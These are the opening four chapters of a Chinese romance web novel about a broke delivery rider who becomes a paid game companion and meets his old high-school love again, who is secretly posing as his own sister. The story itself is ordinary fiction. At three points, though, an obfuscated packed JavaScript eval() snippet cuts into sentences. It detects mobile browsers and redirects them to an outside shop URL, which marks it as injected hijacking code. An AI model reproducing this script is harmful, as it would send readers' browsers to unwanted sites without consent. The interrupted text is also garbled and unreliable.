《只是上分的关系》 1. chapter1 “您有新的外卖订单,请及时处理。” 六月盛夏,碧蓝的天空一望无垠,偶有几朵绵软的云朵漂浮,炽烈阳光无遮无挡,炙烤大地,沥青路面散发着股股热气,直冲人面门,路边槐树上的蝉不知疲倦地鸣叫,叫得人心烦意乱。 方知慕蹲在树下,三两口吃完泡沫饭盒里的炒河粉,将饭盒扔进塑料袋,摸出裤兜里已经用了好几年、反应迟缓的手机看了眼。 是蛋糕订单。 蛋糕算是骑手最不愿意接的单子类型,娇气得很,容易磕碰,一般路途还远。如果有比蛋糕更不愿意接的单子,那一定是夏天的蛋糕——动物奶油热太容易化,出了问题一般是四方扯皮,最后骑手遭殃。 很多骑手会拒接,但方知慕不会,他缺钱。 方知慕跨上自己的小黄车,大夏天也非常遵纪守法地戴上了闷热的头盔,头顶的竹蜻蜓因着车子前进带起的风转得热闹。取外卖的是个挺高档的蛋糕店,以前方知慕喜欢吃他们家的黑森林,但已经许久没有吃过,他已经不太记得是什么味道。 “记得看备注哦。”工作人员将包裹地严严实实的袋子递给方知慕时特意嘱咐了一句。 方知慕用两根手指捋直长长的外卖单,首先看见的是“商品价格六百五十一元”的字样。他默默地移开视线,看见了备注:你好,麻烦帮我看看收货人是男是女,房间里有没有其他异性,拜托拜托! 此刻店里没有客人,店员就跟方知慕八卦:“肯定是女孩子想要看看男的有没有劈腿,要是房间里有其他人,就直接上门捉奸。” “嗯。”方知慕说:“以前遇见过。” 他小心地将包装精美的袋子抱进怀里,道:“那我先走了。” 走出蛋糕店,方知慕将袋子放进保温箱,顶着烈日往订单地址驶去,本市知名高级公寓小区,据说拥有超绝江景,房价自然也是超绝。 在保安处做了备案,方知慕找到1102。刚进楼道,手机上弹出消息,是客户发来的:【你好,帮我看了吗?】 方知慕动动手指,回复:【稍等,马上。】 他撩起黑色的T恤扇了扇,露出白皙细瘦的腰肢,随着方知慕放下手,凉意转瞬而逝,洗得发白的衣服又黏在了皮肤上,很难受。 方知慕走到门前,按了按门铃。 手机上客户又来了消息:【辛苦啦,如果可以的话请为我描述一下对方的长相!】 方知慕刚要回复,门咔哒一声开了,方知慕将手上的袋子双手捧着递出去,道:“先生你好,这是您的外卖,因为商品特殊,请您开袋检查一下商品是否……” 后面的话随着抬头的动作戛然而止。 屋子里开了空调,冷风溢出来,跟外面的炎热截然不同,男人穿着深灰色家居服,身材高大,比方知慕高了半个头不止,垂着纤薄眼皮,冷冷的、很不耐烦的样子。 方知慕手指攥紧,忽然无比庆幸因为赶时间,他没来得及取下头盔,此刻戴着那滑稽可笑的小黄帽,顶着一个更加滑稽可笑的竹蜻蜓,遮住了他大半张脸。 “我没点外卖。”男人冷淡道。 “……您看。”方知慕喉结微微滚动,有些干涩,他一直垂着头,用手指将那张外卖单翻过来,“上面写了……邵先生,收。” 顿了顿,他又说:“您是邵先生吧。” 其实不用问,方知慕很清楚的。 站在他面前的人,就是邵艾。 男人伸出手,方知慕全身一僵,几乎屏住了呼吸,却见他只是擦着自己的手指,将那张单子扯了下来,眯着眼睛看了眼,随后道:“你把袋子打开我看看。” 其实方知慕想转身就走,但顾客要求了,他不得不做,这么贵的蛋糕,肯定要验货才行。他刚准备开袋子,邵艾侧开身体,言简意赅:“进来,放桌子上。” 方知慕抿紧唇角,“我鞋子脏,就不……” “进来。” “……”方知慕走进门,没敢看里面的布局,将外卖袋放在了玄关桌上,将袋子里的两盒小蛋糕取出来,整整齐齐放在桌子上,轻声道:“您看看。” “嗯。”邵艾根本没看,道:“走吧。” 方知慕松口气。 他想邵艾应该是没有认出他的。想想也是,十年过去,他已经和当初判若两人,邵艾能认出他才奇怪。于是他点点头,转身往外走。 “邵艾,你真没礼貌。”女人的声音嗔怪,她从冰箱里取了一瓶冰镇的水,放进方知慕手里,笑道:“辛苦你啦,喝点水。” 方知慕没敢看她的脸,胡乱点头:“谢谢。” 女人看着他走出门,转过身双手往后撑着桌子,偏头看着邵艾,“你还点了蛋糕?” 邵艾面无表情:“不是我。” “好端端地发什么脾气啊。”女人挑眉,“除了我还有谁受得了你。” 邵艾没说话,嘭一声踹上了门。 …… 方知慕离开小区,将车停在路边上,他脸上全是湿黏的汗,是在头盔里闷的,他将头盔摘下来,用力抹了把脸,而后抬起头,白皙的脖颈绷直,像是已经到了极致的弦,裹挟着热气的风吹过,熏红了他的眼角。 “怎么了你?”有认识的外卖员路过,看他这样子,关切地问:“是不是中暑了?” “没有,谢谢。”方知慕声音有点沙哑,但还是勉强笑了一下,道:“只是有点累。” “我就说你细皮嫩肉的不适合干这行。”外卖员拍拍他肩膀,“你像是那种有钱人家的小少爷。”边说边从自己车里拿了瓶水给他,“喝点冰水。” 方知慕刚要说不用,外卖员已经把水收回去,靠了一声,“小方,你发达了啊,水都喝玻璃瓶的依云了??” 他说的是方知慕胡乱塞在车前兜里那瓶从邵艾家得到的矿泉水。 “……是顾客给的。”方知慕说。 他将那瓶水抽出来,换了外卖员手里那瓶普通的水,道:“跟你换。” “你真没中暑?你知道这水多钱一瓶吗?” 方知慕笑笑,仍然是那句话:“跟你换。” 他喝了口水,掏出手机,几十秒后,他点击已送达的按钮,手机立刻进来电话,方知慕条件反射地接起,对面是一个听起来年纪不大的女声:“你好,我看订单已经送到了,你帮我看了吗?” “什么?”不知道是不是太热,方知慕有点恍惚。 对方说:“我让你帮忙看看拿外卖的人是男是女,长相怎么样……” “啊。”方知慕回神,抿紧唇角,说:“男的,长得……很好看。” “那还有别人吗?” 方知慕沉默了一会儿,道:“嗯,有。” “男的女的?” “……我没看清。”方知慕不想骗她,但直接暴露邵艾劈腿这事儿他也有点做不到,于是给了一个含糊的回答。 对方也没有继续逼问,道谢后挂断电话,后台显示他收到了两百元的打赏。 方知慕看着那笔订单,想,邵艾不仅有女朋友了,还劈腿了。 长相变化不多,性格倒是和以前很不一样。 方知慕将这一单的记录删掉,继续跑下一单。 天气更热,蝉鸣也更吵。 这单取餐的店家在一个小巷里,经过巷子口时,里面忽然冲出一辆小车,双方都没有防备,发出嘭一声巨响,方知慕连人带车都被撞翻,一阵天旋地转,大脑反应迟钝,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949078|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻木一片。 他眼睛里映出路旁高大的刺槐树,雪白的花朵如同一串串小铃铛,在他心头泠泠响动,慢慢变作了高中时的上课铃声,那声音在他梦中响了将近十年。 再次醒来的时候,方知慕看见医院的天花板,鼻间全是消毒水的味道,隔壁病床的家属正在外放抖音,尖锐的笑声灌进耳朵,方知慕头痛欲裂。 “醒了?”刚刚接热水回来的柳荫看见他睁开眼睛,熟练地将枕头抬高,让他能够坐起来,道:“有没有哪里不舒服,我叫医生来给你看看。” 方知慕张了张嘴,还没发出声音,柳荫就道:“那个撞你的人有个重病的老婆,孩子还没学会走路,穷得响叮当,没钱赔你,他说了,要钱没有,要命一条。” 方知慕:“……” 柳荫拉了把椅子坐下,继续说:“你的住院费医药费都是我垫付的,之后记得还我。” 方知慕问多少钱,柳荫说了个能让他心梗的数字,当即就想要掀被子回家,然后就被打了石膏的腿制裁了。 柳荫:“你左腿腓骨和胫骨闭合性骨折,不算特别严重,但需要好好休养,积极做康复训练,否则可能会变成一个瘸子。” “这也就意味着,接下来起码一个月,你都不能去跑外卖了。” 方知慕如遭雷击。 他缺钱,非常。 如果两个月都没有收入,会有很多麻烦事。 “这还只是理想情况。”柳荫给他倒了杯热水,“如果你不听医嘱乱跑,恢复期会拉得更长。” 方知慕闭上眼睛,看起来走了有一会儿了。 “我记得你游戏是不是打挺好的?”柳荫摸了个苹果,装模作样地照顾病人,“高中那会儿大家打游戏都喜欢叫你,有你就一定会赢。现在游戏陪玩挺火的,你要不要试试看?” 因为早早地决定了高中毕业后就要出国留学镀金,所以方知慕高中那会儿就是一个纯粹的混子,每天呼朋引伴,好不热闹,老师都对他睁只眼闭只眼。 “挣钱吗?” 柳荫道:“你要是技术好声音好听能给情绪价值,那就很挣钱。”他打量了方知慕一会儿,点点头:“你要是愿意发照片的话,肯定挣钱。” 方知慕说:“我想挣点正经钱。” 柳荫:“我知道,你要是挣不正经的钱,当年那个什么理查德来找你的时候你就已经下海了,没准这会儿已经别墅豪车走上人生巅峰,至于累死累活地送外卖。” 方知慕笑了一下,病房里很嘈杂,笑声,哭声,交谈声,叱骂声。空气里交织着烟味、饭菜味、水果味和消毒水味。 他忽然毫无预兆地说:“我今天看见邵艾了。” 柳荫动作一顿,水果刀差点切到自己的大拇指。他抬起头,看着方知慕,“我就说你怎么魂不守舍的。” 他把削得坑坑洼洼的苹果递给方知慕,思索了一会儿,“你还喜欢他吗?” 方知慕没回答,而是看着天花板说:“他和高中那会儿比起来,变化挺大的。” “他没认出你?” “我戴了头盔。”过了两三秒,方知慕又垂眸一笑,“十年过去,可能我妈活过来都不一定认得出我了。” “那怎么十年过去你还是能一眼认出他?” 方知慕就不说话了。 柳荫道:“我本来不想跟你说这些的,但是方知慕,当年他跟你告白的时候你不是拒绝了吗?别再想他了。” 他像是一个威严而公正的法官,严酷地戳破了方知慕心底所有隐秘的心思,宣判了他的死刑,“你们已经不是一个世界的人了。” “哦。”方知慕扭头去看窗外,他鼻头有点发酸,但还是笑着道:“我知道的。” 2. chapter2 在医院住了两天,方知慕就火速办了出院。 ——医生当然是不允许的,但方知慕也实在交不起住院费。 短时间内不能再送外卖,方知慕必须想别的办法养活自己,所以还是接受柳荫的建议,去陪玩平台注册了个账号。 新人刚开始都很艰难,最初只有一些零零散散的小单子,但因为他技术实在是过硬,所以很快就有了稳定客源,收入虽然比不上送外卖的时候,但养伤期间能有入账,已经算是非常不错。 月初的时候他算了一下卡里的余额,将其中百分之九十汇到医院的账户,剩下的钱估计连本月吃饭的钱都不够。 租住的一居室只有扇很小的窗户,层高也低,像是一个仓鼠笼,方知慕没舍得开空调,全靠窗外的凉风降温,他靠在窗边打开手机,看见系统提示有新单子。 方知慕点开消息,第一眼看过去的时候还以为是自己眼花了,他缓慢眨了下眼睛,又仔细看了一遍。 没看错。 有老板直接包了他一个月。 老板ID叫做“草莓草莓酱”,头像是个粉色的卡通角色,看起来年纪不大的样子。 方知慕第一次接到这样的大单子,犹豫了下才点击接单。 草莓酱立刻发来消息:【你好,可以电话吗?我现在有点不方便打字。】 方知慕当然说可以。 平台有联系方式,电话很快进来,方知慕接听,对面果然是个听起来年纪不大的女孩子:“你好呀,我是草莓酱,听我朋友说你打游戏很厉害,性格也好,你能教我打游戏吗?” 干陪玩最基本的就是提供情绪价值,方知慕不是第一次遇到这样的要求,说:“可以。” 也不知道是不是错觉,他总觉得这声音有点耳熟,好像在哪里听过似的。 “不过,你还没有跟我打过游戏就直接包一个月,有点不划算。”方知慕道:“可以先玩儿两把,你觉得合适再继续。” 草莓酱道:“不用啦,我相信我朋友的推荐。” 她咳嗽两声,“其实是这样的,我男朋友劈腿了。” “上次我们在同一局遇到,他带着小三一路追杀我!”草莓酱怒道:“等我队友把我救起来,他就又杀我一次,我那局一共倒了三次!杀了我就算了,还在我的盒子旁边跳舞,嘲笑我菜。” “你说这我能忍吗?!” 方知慕:“……嗯,不能。” “是吧。”草莓酱道:“所以我下定决心,要苦练技术,一定要靠自己努力把他也放倒三次,再在他盒子上跳舞!” 方知慕说:“你可以请几个人狙他,围着杀就好。” 草莓酱:“我已经干过了,不解气。” 方知慕弯唇笑了下,小姑娘脾气还挺大的。 “我会好好教你。”方知慕道:“你什么时候打游戏方便?” “我一般都是晚上八点后。”草莓酱说:“只要你八点到十一点陪我玩儿就好啦,其他时间都可以自由安排。” 每天只工作三小时就能拿到这么大一笔收入,让方知慕有点发愣。 随即又失笑。 他十七八岁的时候也是这样花钱如流水,但时间过去太久,以至于他自己都记不太清那是什么感觉了。 方知慕刚要应声,忽然听见草莓酱那边远远地传来一道男声:“……还不走?” 方知慕一顿。 昨天陪老板打到凌晨四点,他就睡了五个小时不到,可能真是脑子不太清醒。 不然怎么会听谁的声音都觉得耳熟。 草莓酱回了一声,又对方知慕说:“那就这样说定了哦,今晚上就开始。我家里人叫我,我先挂啦!” 方知慕说好。 晚上八点,他准时上线,草莓酱也准时到了。两人加了好友,看见她那一身花里胡哨的小裙子,方知慕就知道她确实是家里不差钱。 草莓酱的游戏水平……方知慕觉得跟扔把米在键盘上让鸡来啄不相上下,不过方知慕脾气好,因为她死了无数次也不介意,几把游戏下来,草莓酱感动得不行,一口一个哥哥:“哥哥你人真好,我之前叫的陪玩,不管我给多少钱,都会忍不住骂我的。” 方知慕心里叹气,想我也就是被生活磨平了棱角,要是十几岁那会儿遇到草莓酱这样的,他早就开始疯狂输出了。 “最后一把还是有进步的。”方知慕采取鼓励式教育,“起码遇到人知道躲起来了对不对?” 草莓酱:“我就说我还是有游戏天赋的。等着吧,我一定要杀得那个渣男哭爹喊娘!” 方知慕心想这恐怕有点难。 “好啦哥哥,我要去睡觉了。”草莓酱说:“不然等会我哥又要骂人。” “嗯,晚安。”方知慕跟她告别。 草莓酱虽然人菜瘾大,但总体来说是个挺好的小姑娘,因为工作时间比较短,方知慕得到了足够的时间养伤,已经可以自己杵着拐杖去楼下遛遛弯儿了。 这天晚上,草莓酱下线后,柳荫给方知慕发消息,叫他吃夜宵。 方知慕用手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949079|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机拍了张自己的石膏腿给他。 柳荫说开车来接他。 方知慕租住的地方没有电梯,好在楼层不高,他自己慢慢下了楼,到小区门口时,看见了柳荫和他的车。 “……”方知慕说:“小黄车啊?” 柳荫抱着头盔,不爽:“你就说是不是车吧?” 方知慕笑:“我还以为你开你爸的宝马来接我。” “得了吧,他才不让我碰。”柳荫抬抬下巴,“来,上车。” 方知慕一只手拎着拐杖一只手抓着柳荫,小黄车停在一个烧烤摊外,里面已经坐满了,只有露天摆在外面的桌子还空着两张。 一靠近店面,就有肉类被木炭炙烤混着孜然辣椒的味道飘来,令人食指大动。 柳荫占了张桌子点菜,方知慕百无聊赖盯着路边的洋槐树发呆。 洋槐是淮城最常见的行道树,一到开花的季节就像是盛夏晴空下了场铺天盖地的大雪。 “你做陪玩怎么样?”柳荫在桌沿边上撬开酒瓶,喝了口冰爽的冰啤酒,呼出口气,“要是钱不够你跟我说啊。” 方知慕道:“你自己的房租都要付不起了,哪来的钱给我?安心吧,收入还行。遇到了个大老板,包了一个月。” “可以啊。”柳荫哇了声,“我就说你干这个有市场。那医药费你什么时候还我?我真交不起房租了。” 方知慕莞尔,“待会儿转你。” 两人正说着话,忽然对面驶来一辆迈巴赫,柳荫:“嚯,我爸的梦中情车。” 方知慕也瞥了眼,纯黑色的车从满树雪白的花下驶过,街灯昏黄,让这两种极致的颜色都显得温柔许多。 柳荫:“车牌号还是你生日呢。” 方知慕都没注意到这一点。 回忆了一下才想起那辆车的车牌数字似乎确实是1109。 他十八岁那年的生日礼物是辆跑车,车牌是他的生日号。后来家里破产,车子房子全部都被拿去抵债,那块车牌应该也被卖了。 没想到时隔多年,还能再遇,也是一种缘分。 “前面那块是出了名的酒吧街。”柳荫说:“估计是谁家少爷出来逛夜店。” 方知慕知道里面很乱,做的生意也不怎么合法。 他以前经常送那附近的单子。混迹夜场的男男女女大多大方,给小费、零食、水果和香烟。还有一些想要直接勾搭方知慕上床的,方知慕就不怎么去了。 方知慕收回视线,喝了口可乐,笑了下说:“或许吧。” 3. chapter3 夜幕降临时,酒吧街便灯红酒绿,一派荼蘼景象。 某家酒吧后巷,染了一头黄色头发的年轻人低头点了支烟,旁边的同伴笑他:“怎么都抽上这种次货了?之前那个小妹妹出手那么大方,舍不得给你买好烟啊?” 黄毛还没说话,另一个人就道:“你还不知道啊,他们分了。” “为啥啊?那么大一只肥羊呢。” “后宫起火了呗,他又不是只吊着一个女人。那大小姐的脾气,能忍受得了他劈腿?” 黄毛有些郁闷。 他确实受不了那大小姐脾气,所以被发现时有些破罐子破摔的意思,狠话说了一箩筐,还在游戏里把人堵着杀。 但真分了,他才发现除了大小姐,其他女朋友根本舍不得给他花钱。 黄毛看了眼那个幸灾乐祸的人,冷笑道:“只要我愿意,勾勾手她就要回头来找我,你以为轮得到你?” 那人道:“那你倒是把人叫来看看啊。” “急什么。”黄毛在墙壁上摁灭烟头,“我已经给她打电话了,待会儿就来。” 其余人对视一眼,“她脾气那么大,你准备怎么哄啊?” 黄毛道:“女人嘛,只要怀了孕,还不是任由我拿捏。她家里有钱,我当个上门女婿也不亏。” 几个男人顿时挤眉弄眼,嘻嘻哈哈,并不觉得这种行为有多下作卑劣。 黄毛看了眼时间。 奇怪,大小姐虽然性格差,但一贯很有时间观念,离约定的时间都过去五分钟了,怎么还没到? 刚这么想着,一道刺眼的车光晃过,他不由抬手遮了下眼睛。 那辆迈巴赫一直停在旁边,他们还以为里面没人呢。 要是平时,黄毛早就破口大骂了,但看见迈巴赫的标终究是有点怂,没敢惹事。 车上的人倒是主动下来了。 男人边走边戴一副黑色的皮质手套,灯光昏暗,看不清他脸上的表情,但莫名的让黄毛有些胆寒,不由往后缩了缩,想要给这人让条路出来。 对方却停在了他对面。 “周勤。”男人在两秒钟之内用一种极其挑剔的目光将黄毛从头到脚地打量完,“对吧。” “……你哪位?”周勤咽了口唾沫。 他虽然年纪不大,但已经在夜场混了很多年,能够感觉出这人来者不善。 “如果你真成功入赘,那你应该叫我大舅哥。”男人漫不经心将手套边缘拉好,让它贴合自己的手腕,“不过你应该没这机会了。” 黄毛猛地瞪大了眼睛,“你是邵苡他哥?我……” 话没说完,脸上已经挨了重重一拳。 黄毛踉跄两步,差点摔在地上,好不容易扶住了墙才让自己没那么狼狈。 “他妈的,以为老子怕你吗?”黄毛吐出一口带着血的唾沫,看向自己的同伴,“老子这里这么多人,你以为你能全须全尾地走?!” 邵艾瞥了眼一群头发颜色能组成彩虹的混混,偏头说:“行,一起上。” 后巷人本就不多,都是喝多了在这里醒醒酒,或者要做些非法勾当的,打架斗殴也很常见,出来抽烟的看见了也就是躲远点,没有任何多管闲事的想法。 邵艾一脚踩在黄毛的心口,居高临下地看着他:“你跟邵苡说要去做生意,从她那里拿了二十万。如果明天这笔钱没有出现在她卡里,可就不是揍你一顿就算了的事。” 黄毛鼻青脸肿,牙齿都被打掉了一颗,说话漏风:“我、资道了……” 邵艾扯了下唇角,将染血的手套取下来,随手丢进垃圾桶,“以后别再让我看见你出现在邵苡身边。” “我一定离她远远的!”黄毛哭爹喊娘,又觉得委屈:“她本来也不喜欢我了,她都搞网恋去了!” 邵艾一顿。 “网恋?” “她认识了个陪玩,给他花了不少。”黄毛勉强爬起来,抹了把脸上的血,“干这行的都没好人,谁知道他要骗邵苡多少钱。” 邵艾眸光一沉。 路过黄毛的时候他又一脚踹出去,冷冷道:“我让你起来了?” 黄毛这下是真痛得叫都叫不出来了。 邵艾拉开车门,发动车子离开这条令人作呕的后巷。 车里只开了小灯,并不明亮,让他本就冷硬的脸部轮廓显得更加锋锐。实在烦躁,他打开车窗点了支烟。 车子刚到别墅楼下,三楼房间的灯立刻就熄了。邵艾知道这是邵苡听见他回来拒绝沟通的意思。 但他没理会,径直上了三楼,用钥匙打开门,开了房间里的灯:“邵苡。” 邵苡坐在窗边,没转头:“你干脆一直把我关在这里好了。” “你以为我不知道你今晚上出去是想要去见周勤?” “……”邵苡猛地站起身,“你能不能别管我!” 邵艾想起上次带邵苡去复诊,好友蔺自烁说的话:“你控制欲有点太强了,小苡今年十六岁,不是六岁,你不能再像她小时候那样对她。就是因为这样,她才会越来越叛逆。这个年纪的孩子本来就敏感,习惯以自我为中心,你继续这样只会适得其反。” 想到这里,邵艾闭了闭眼睛,道:“好,我们不说这件事。” “一周前,你送到我公寓的蛋糕是什么意思?” 邵苡抿紧唇。 “有什么事不能直接问我,要这么藏着掖着?” 邵苡道:“我问了你就会回答我?你只会说小孩子别管大人工作上的事。” 邵艾一时间哑然。 “好啊,既然你问了,那我就说。”邵苡眼睛通红,咬了咬嘴唇,“你是不是有女朋友了?” 邵艾道:“我这个年纪有女朋友很正常。” “我不接受!”邵苡哭着道:“我不要别人出现在我们的生活里,任何人都不行!” 邵艾怕她发病,尽量顺着她,一时间都没意识到自己说了什么:“以前方知慕经常住我们家,你从没有反对过。” “可你不是已经把知慕哥哥弄丢了吗!” 邵艾手背上青筋鼓起,到底没控制住脾气:“是他先不要我们的。” 卧室里一时间落针可闻。 兄妹俩僵持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949080|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对立,谁也不肯让着谁。 最终还是邵艾吸了口气,道:“我不想跟你谈方知慕的问题。你知道周勤约你出去想干什么吗就敢去。” “你不是把我关在家里导致我没去成么,我怎么知道他约我想要干什么。” 邵艾拿出手机,播放了一段录音。 正是几个人一起抽烟时打的如意算盘。 邵苡显然也被恶心到了。她知道周勤不是什么好人,但没想到他会这么下流。 “我已经跟他分手了。”邵苡语气放软了一点,“这次他约我,我只是想要去骂他一顿,没别的意思。” 邵艾:“他说你在搞网恋。” 邵苡睁大眼睛,“什么网恋?” “游戏陪玩。”邵艾道:“你给他花了很多钱?” 邵苡有些无语:“我跟他不是那种关系,他只是教我打游戏而已。” 邵艾没说话,只是静静看着她。邵苡啧了声。 她知道自己在邵艾那里的信任度为零。最开始跟周勤交往时,她也是这么糊弄邵艾的。 “那你想怎么样?”邵苡坐回窗台上,“停我的卡删他的联系方式?” 蔺自烁的话又在脑海里滚过一遍,邵艾道:“你可以跟他交往。” “……什么?”邵苡一愣,还以为自己听错了。 “但我要知道他是什么样的人。”邵艾提出条件,“只要他不是周勤那种人渣,我同意你们交往。” 以往态度一直很强硬的哥哥今天忽然这么好说话,邵苡都有点不适应,“那你要怎么确认?” 邵艾面无表情道:“把你的账号给我。” “你要装成我跟他打游戏?”邵苡有点无语,“他真的是很好的人,没必要。” 邵艾:“你看人的眼光一直很准。”总能从一千个正常人里准确找到其中的败类。 这几天邵苡对周勤的怨恨已经淡去许多,加之朋友们都去玩儿另一个游戏了,本想跟陪玩商量能不能换游戏的,既然邵艾提出了,她也就不用提了。 “你说话算话?” 邵艾道:“就算我说话不算话又怎样?” 邵苡皱了下脸,拿出手机把自己的游戏账号和密码都发给了他,“现在可以了吧?” “早点睡觉。”邵艾转身往外走。 “你要考察多久啊?”邵苡嘟囔:“我还挺喜欢他的。” 邵艾还是那句话:“早点睡觉。” 他回到自己房间,在应用商店找到了那个游戏。 上次玩儿这游戏,还是高中的时候。 其实那时他疲于生计,根本没时间玩游戏,全都是被方知慕…… 邵艾按了按突突直跳的眉心。 他用自己的私人号加邵苡推荐给他的联系人,发现对方的昵称叫作“极光”,头像却是一片漆黑。 邵艾靠在门边,脸上没有丝毫表情,慢慢在验证消息中输入:【哥哥你好,我是草莓草莓酱,之前那个号出了点问题,以后我们用这个号联系哦。】 想了想,又加了个颜文字。 (*^▽^*) 4. chapter4 【哥哥你好,我是草莓草莓酱,之前那个号出了点问题,以后我们用这个号联系哦(*^▽^*)】 方知慕一觉醒来就看见了这条消息。 小姑娘就连文字都能透出一股可爱。 他没多想,通过了好友验证,看见草莓酱的新号头像是一枝刺槐花,应该是随手在哪里拍的,和她之前那花里胡哨的头像倒是很不一样。 方知慕顺手点进她朋友圈,发现一条动态都没有。 他确认了一下自己不是被屏蔽了,是这个号确实没有发过任何一条朋友圈。 应该是个不常用的小号。 方知慕收起手机,去厨房煮了点速冻饺子当早餐。 当初选择租在这里,就是因为虽然地方小,但可以自己做饭。大城市里生活,自己做饭可以省下很多钱。 但其实工作太累了,回家的时候都是随便煮点速冻方便食品果腹了事。 早餐后,方知慕去附近的公园,和一群大爷大妈混在一起做复健。他长得好,又会说话,长辈都喜欢找他说话,不乏要给他说对象的,方知慕统一说自己离婚官司还没打赢,果然清净许多。 休息的时候他又看见了那辆黑色的迈巴赫,从狭窄的街角转进来,不过看样子这次不是去酒吧街那边。 今日周一。 金阳大道堵了个水泄不通,邵艾有个紧急会议要开,只能绕路,好险在会议开始前五分钟到了公司。 开完会出来已经是下午三点,助理订了餐,邵艾靠在沙发上看了眼手机,正好一条陌生人消息进来:【老板,今晚还是八点吗?】 看了眼对方的昵称,邵艾才想起这是邵苡迷上的那个游戏陪玩。 邵艾放下手机,问助理了:“你对变声器有没有了解?” 助理:“……啊?” 助理看着老板,头脑风暴了一会儿,小心翼翼道:“您是被网上主播男装女骗了吗?” 邵艾将自己的手机丢给他,“帮我安装个变声器。” 助理:“……啊?!” 邵艾没解释,边吃饭边看开会时送上来的文件。 打游戏的时候他一开口就会露馅,变声器是必需品,但他不可能跟助理解释自己家里那个令人头疼的妹妹,更不在意助理一下午都在用诡异的眼神看自己。 晚上八点,方知慕先上线,邀请草莓酱加入自己的队伍,对方仍旧把自己穿成了一块小蛋糕,看着怪喜庆的。 “喂?”方知慕打开麦克风,“能听见吗?” 方知慕的手机之前进过水,再经过电流传送,完全是全损音质,邵艾听着挑了下眉。 一听就是开了声卡,难怪把邵苡哄得团团转。 他确认变声软件开着,这才道:“能听见。” 方知慕觉得草莓酱声音有点奇怪。 之前听着好像没有这么嗲。 但他从不质疑老板,道:“老板今天想要上分还是练技术?” 上分就苟着玩儿,练技术就直接落地找人刚枪。 “我想上分诶。”邵艾面无表情地说:“我的分掉了好多。” 方知慕有点惭愧。 之前带着草莓酱横冲直撞的,就顾着教技术了,结果草莓酱技术没学到,分也哗啦啦掉。 “你想跳哪里?”方知慕问。 “都听哥哥的。” 方知慕选了个点,对草莓酱发出跳伞跟随,带着她一起跳伞。 邵艾冷笑。 撩妹手段倒是高超。 邵艾好几年没玩儿过这游戏,都已经忘了该怎么操作,落地后就傻站在原地调试键位,方知慕搜东西的时候路过好几趟,虽然不知道她在干什么,但还是默默将自己搜到的所有好东西都放在了草莓酱周围。 终于调好设置,邵艾切回主页面,就见自己的角色周围已经全是装备,活像是在上供。 这个点很偏,没人来,自然也没什么东西,方知慕道:“老板,我们准备走了。” 邵艾捡起地上的装备,又看了眼方知慕。 他连个背包都没有,就一把冲锋枪。 方知慕已经找好了车,邵艾坐进副驾。因为他说了想上分,方知慕这把打的很谨慎,遇到残血也不会去追,怕留邵艾一个人在原地会被偷袭。 “老板,这里。”方知慕说:“倒了三个。” 邵艾从集装箱里出来,跟在方知慕后面补了三个人头。 虽然人是方知慕杀的,但人头全在邵艾身上,战绩还挺好看。 这把他们没能吃鸡,但拿到了第二名的好成绩,邵艾看着结算界面,心想难怪邵苡被哄得一愣一愣的,这个陪玩是真有点本事。 将近十一点的时候,草莓酱的分数已经上去不少,方知慕问:“老板,还要打吗?” 邵艾这才察觉已经这个点了。 差几分就能升段,邵艾道:“打最后一把。” 方知慕当然没意见。 只是这次两人运气不太好,两队人同时落地,对面却落地就捡到了枪,立刻击倒了方知慕,却没立刻补他,而是将邵艾围住了。 “喂喂喂,听得到吗?”一道男声响起。 方知慕皱了下眉,他已经知道这两人要干什么了,刚要跟草莓酱说这局直接退,草莓酱却已经回复了:“能听见,干什么?” “哟,还真是个小妹妹。”另一个ID叫“最强杀人王”的也开了麦,“看你这身衣服,可不便宜。” 草莓酱身上的裙子是新活动的抽奖款,全套抽下来最少也要几千块,确实不便宜。 “你想穿我衣服?”邵艾道:“我可以脱给你穿,前提是放我们走。” “靠,老子可没有穿女装的爱好。”杀人王说:“不过你要是愿意给我们唱个歌跳个舞,再叫两声哥哥饶命,我就考虑放你走。” 方知慕脸色不太好看。 他经常遇见这种人,专门狙杀衣服很贵的玩家,因为这样的玩家大部分都是女孩子,他们就专门堵着人戏弄。在方知慕看来,这就是赤裸裸的调戏。 偏偏这局运气不好,落地就倒了。 “老板。”方知慕沉声道:“我们直接退游戏,重开一把,我一定带你把分上上去。” 他不想让小姑娘被这些没素质的流氓纠缠。 “可是我只差一点点就能升段了,现在退了要扣分的。”邵艾道。 方知慕:“我保证……” “喂,小妹妹。”杀人王有点不耐烦了,“别浪费时间啊,你到底喊不喊啊。” 他用枪指着已经倒地的方知慕,“你要是再不喊,我就补你队友了。” 邵艾身上空空如也,连个背包都没 